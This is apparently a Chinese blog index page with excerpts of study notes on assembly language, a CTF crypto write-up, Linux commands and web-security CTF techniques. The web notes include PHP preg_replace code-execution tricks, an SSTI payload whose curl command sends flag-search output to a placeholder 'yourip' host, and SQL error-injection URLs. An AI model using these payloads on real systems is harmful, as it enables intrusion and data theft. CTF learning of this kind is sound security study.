汇编语言(七)
第六章:包含多个段的程序我们之前说0:200-0:2ff是安全空间,但容量其实只有256字节。如果我们的需要超出这个大小,还需要向操作系统申请。在操作系统允许的情况下,程序可以取得任意容量的空间。
我们通过在源程序中定义段来获取内存空间。我们定义不同的段来存放不同类型的数据,比如代码段,数据段,栈段。
比如此类问题,我们在上一章已经知道,可以通过循环进行累加。但是,如何将这初始的数据存储在一组连续的内存单元中呢?
应该让系统为我们分配这样一段连续内存空间,我们用指令将其送入连续内存空间。比如如下程序
1234567891011121314151617assume cs:codecode segment dw 0123h,0456h,0789h,0abch mov bx,0 mov ax,0 mov cx,4s:add ax,cs:[bx] add bx,2 loop s mov ax,4c00h int 21h code endsend
在这里dw代表定义字型数据也就是define words,显然这里定义了8个字型数据总共也就是16个字节。
但是这8个数据存放在哪 ...
羊城杯--LRSA
本题我们可以经过推导通过连分数来解,先来一步简单推导:
t \equiv P(p-58) + q\ \ (mod\ Q)\\即
t + KQ = P(p - 58) + q两边同时除以Q
\frac{t}{Q} \approx 0\ \ and\ \ \frac{p}{Q} \approx 0所以化简为
\frac{p-58}{K} \approx \frac{Q}{P}我们需要对后者进行连分数展开,即可得到p-58,进而得到p
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from Crypto.Util.number import *from gmpy2 import *from libnum import *M = 175507723910481423766623523756503971682262199002841851339458193785950846152794145291151942466251880 ...
汇编语言(7):第四章 第一个程序
源程序从写出到执行的过程第一步:编写汇编源程序第二步:对源程序进行编译链接。使用汇编语言程序对源程序中的文件进行编译,产生目标文件;再用连接程序对目标文件进行连接,生成可在操作系统中直接运行的可执行文件。
可执行文件包括两部分内容1.程序(翻译过来的机器码)
2.数据(源程序中定义的数据)
3.相关信息描述。
第三步:执行可执行文件中的程序主要是将可执行文件中的机器码和数据加载入内存,并进行相关的初始化(cs:ip)。
下面来看一个汇编源程序,同时讲解一些概念
12345678910111213assume cs:codesgcodesg segmentmov ax,0123hmov bx,0456hadd ax,bxadd ax,axmov ax,4c00hint 21hcodesg endsend
源程序包含两种指令:汇编指令和伪指令。汇编指令被编译为机器指令,被cpu执行,伪指令不被翻译为机器码,不被执行。
segment 和 ends是一对伪指令,用于定义一个段。
web安全知识合集
我们知道单引号的绕过可以通过闭合和注释,但是如果php中开启了GPC就无法闭合,因为magic_quotes_gpc可以
1将'变成\'
也就是转义单引号,使其仅仅成为字符串。
在php5.4开始取消了这一项,也就是默认关闭,我们可以用
1$aa = stripslashes($_GET['a']);
这个函数会对单引号之类的进行转义。
1preg_replace("/abc/e", $REQUEST['a'], "abcd");
/e表示可以将中间的$REQUEST部分内容,当成代码执行,很危险!函数会将abc替换成我们输入的部分。php7中不存在/e
看一个更难的
123$cmd = $GET_['a'];preg_replace('/<data>(.*)</\data>/e', '$ret = "\\1";', $cmd);echo $ret;
单引号不识别相关变量,双引号识别相 ...
linux应用知识合集
12345678ps -ef | grep 进程关键字lsof -i:port. 可以查看端口被占用情况file `which php`辨识php的类型,也就是架构等。kill -QUIT 进程号(要杀主进程)brew services restart php启动php服务,也就是php-fpm等等docker-compose up -d启动容器composer(一个下载器,就像wget)nginx -s stop停止nginx服务
下面是录制视频的命令,我们通常用ffmpeg命令行来做剪辑。
ffmpeg常用的是转换格式和,剪辑拼接两三个功能。
12345转换格式:ffmpeg -i 文件 -c copy 输出文件(带后缀)拼接:先将要拼接的视频路径写入txt,格式如下file '路径1'file '路径2'然后ffmpeg -f concat -safe 0 -i 1.txt -c copy output.mp4即可!
在vscode中
12多行注释:先按ctrl + k,再按ctrl + c取消多行注释:先按ctrl + k,再按ctrl ...
soapclient原生类与CRLF利用构造POST写入shell
我们可以自己设置User-Agent的值。当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送POST请求最关键的地方。
1$_SERVER['REMOTE_ADDR']#获取最后一个代理的IP也就是直接和服务器代理或服务器交互的IP。
PHP中的join函数
1join(seperator, array)#把数组合并为字符串,并且在数组之间加入设定的seperator。
vim快捷键跳转到本文最后一行首字母:shift + g
跳转到最后一行最后一个字母:g + $
跳转到本行首:0
soapclient的利用soapclient的原理我们来看一下PHP中含魔方法的内置类
魔术方法:一般都是系统在特定时机自动调用的函数或方法,绝大多数情况下不需要程序员手动调用。
12345678910111213141516171819202122232425<?php$classes = get_declared_clas ...
thinkphp漏洞学习
12$array = ['abbr','sdjsl','ss'];implode("",$array);
此函数负责把数组连接起来,放到新的双引号里。
正则表达式\w表示匹配字母数字下划线,也就是
1\w即[a-zA-Z0-9_]
\S表示匹配非空白符号,注意这里是大写,小写\s表示匹配空白符号,即space。
1234567891011<?phpfunction test($str){ echo "This func is run $str";}$a = 'test("\1")';$b = 'aaa$caaa';$c = 'CXS';echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
运行结果:
12This func is run CXSProcess finished with exit code 0
在PHP当中 ...
No title
8.12做了一个新生题,写一下XMAN SSTI注入的题当时想了各种方法绕过滤,都不成功,今天看到一种关键字,之所以能绕过是因为在各种漏洞poc中提到很少,一般不会重视
就是config,
我们可以将class表示为claconfigss,其他单词同样如此,并且在注入语句中可以用条件语句
1{%iconfigf ''.__claconfigss__.mconfigro__[2]}.__subclaconfigses__()[59].__init.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d ls / | grep flag;') %}1{ endiconfigf %}
curl命令一般用来获取网站信息
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484 ...
No title
2021/8/17WEB攻关WEB刷题HARDSQL注入采用了报错注入,用的extractvalue这次用了一个特殊符号^代替and作为连接符,因为
看到其他大佬的blog发现这个符号不报错,而or,and,space等符号均报错,所以挺难的。下面查表名和列名
用like代替等号,用括号代替空格。
非常的麻烦。
1?username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
下面查列名。
1?username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like('gee ...



